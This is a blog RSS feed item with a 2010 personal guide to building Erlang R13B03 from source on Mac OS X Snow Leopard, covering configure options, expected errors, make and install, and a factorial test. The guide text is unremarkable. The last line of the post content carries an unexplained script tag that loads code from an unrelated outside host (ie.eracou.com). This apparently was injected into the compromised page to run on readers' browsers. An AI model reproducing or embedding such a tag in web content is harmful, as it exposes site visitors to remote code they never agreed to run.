<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jBoxer &#187; erlang</title>
	<atom:link href="http://jboxer.com/tag/erlang/feed/" rel="self" type="application/rss+xml" />
	<link>http://jboxer.com</link>
	<description>I change the directions of small pieces of metal for a living.</description>
	<lastBuildDate>Wed, 28 Jul 2010 14:23:11 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Installing Erlang on Snow Leopard</title>
		<link>http://jboxer.com/2010/01/installing-erlang-on-snow-leopard/</link>
		<comments>http://jboxer.com/2010/01/installing-erlang-on-snow-leopard/#comments</comments>
		<pubDate>Fri, 01 Jan 2010 21:22:23 +0000</pubDate>
		<dc:creator>Jake Boxer</dc:creator>
				<category><![CDATA[programming]]></category>
		<category><![CDATA[10.6]]></category>
		<category><![CDATA[erlang]]></category>
		<category><![CDATA[guide]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[os x]]></category>
		<category><![CDATA[snow leopard]]></category>

		<guid isPermaLink="false">http://jboxer.com/?p=288</guid>
		<description><![CDATA[Here&#8217;s another in my series of &#8220;Installing X on Snow Leopard&#8221;. These aren&#8217;t official, well-tested guides; they&#8217;re just documentations of my attempts to compile and install various things on my personal computer. My last one (Installing MySQL on Snow Leopard) is my most popular post to date (aside from a couple that have been on [...]]]></description>
			<content:encoded><![CDATA[<p>Here&#8217;s another in my series of &#8220;Installing X on Snow Leopard&#8221;. These aren&#8217;t official, well-tested guides; they&#8217;re just documentations of my attempts to compile and install various things on my personal computer. My last one (<a href="http://jboxer.com/2009/09/installing-mysql-on-snow-leopard/">Installing MySQL on Snow Leopard</a>) is my most popular post to date (aside from a couple that have been on Reddit). Erlang is less popular than MySQL, but hopefully this will still help a few people.</p>
<h3>Downloading and unpacking</h3>
<p>Go to http://erlang.org/download.html and download the Source for the newest version (when I was writing this, that was <strong><a href="http://erlang.org/download/otp_src_R13B03.tar.gz">R13B03</a></strong>. After downloading, extract it to somewhere that&#8217;s convenient to get to with the Terminal.</p>
<h3>Configure</h3>
<p>Open the Terminal and <code>cd</code> into the directory you extracted Erlang to (mine was <strong>/Users/jake/src/otp_src_R13B03</strong> . Then run the following command:</p>
<p><code>./configure \<br />
    --prefix=/usr/local/ \<br />
    --enable-smp-support \<br />
    --enable-threads \<br />
    --enable-darwin-64bit</code></p>
<p><strong>Note:</strong> You will probably get <strong>three errors</strong>. Read about them in the <a href="#configuration-errors">Configuration Errors</a> section coming up.</p>
<p>The first three configure options are the defaults according to the README. However, I&#8217;ve had experiences where supposed defaults aren&#8217;t really the defaults when compiled on OS X, so I don&#8217;t like to take chances. <code>--enable-darwin-64bit</code> enables experimental support for the 64bit x86 Darwin binaries. This may not be necessary, but in general, 64-bit stuff has fewer problems on Snow Leopard, so I figured this was a good idea.<br />
<a name="configuration-errors"></a></p>
<h3>Configuration Errors</h3>
<p>I got the following configuration errors:</p>
<pre>jinterface    : No Java compiler found
wx            : Can not combine 64bits erlang with wxWidgets on
                MacOSX, wx will not be useable
documentation : fop is missing. The documentation can not be built.</pre>
<p>These aren&#8217;t a problem. If you get any errors besides these, you&#8217;re in trouble. Leave a comment, and I&#8217;ll see if I can help.</p>
<h3>Making and installing</h3>
<p>These two commands shouldn&#8217;t give you any trouble:</p>
<p><code>make</code></p>
<p>And then, after <code>make</code> is done:</p>
<p><code>sudo make install</code></p>
<p>If you get any errors at either of these stages, leave a comment and I&#8217;ll try to help.</p>
<h3>Making sure it works</h3>
<p><strong>Note:</strong> This canonical test is gratefully borrowed from <a href="http://erlang.org/quick_start.html">erlang.org</a>.</p>
<p>Put the following into a text file:</p>
<pre class="brush: erlang;">-module(test).
-export([fac/1]).

fac(0) -&gt; 1;
fac(N) -&gt; N * fac(N-1).</pre>
<p>Save it as <code>test.erl</code> in a directory that&#8217;s easy to get to with the Terminal. Then, from the Terminal, <code>cd</code> into that directory and type <code>erl</code> (which, if everything worked right, should start the Erlang command-line interpreter). From the interpreter, run the following commands: </p>
<p><code>1> c(test).<br />
{ok,test}<br />
2> test:fac(20).<br />
2432902008176640000<br />
3> test:fac(40).<br />
815915283247897734345611269596115894272000000000</code></p>
<p><strong>Note:</strong> Lines starting with <code>N></code> (where N is a number) are lines you should type (but just type the stuff coming after <code>N></code>). The other lines represent output.</p>
<p><code>c(test).</code> compiles test.erl (assuming it&#8217;s in the directory you <code>cd</code>&#8216;ed into). <code>test:fac(20).</code> and <code>test:fac(40).</code> runs your factorial function.</p>
<p>So, that&#8217;s what worked for me. If anyone has any problems along the way, leave a comment and I&#8217;ll try to help.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://jboxer.com/2010/01/installing-erlang-on-snow-leopard/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
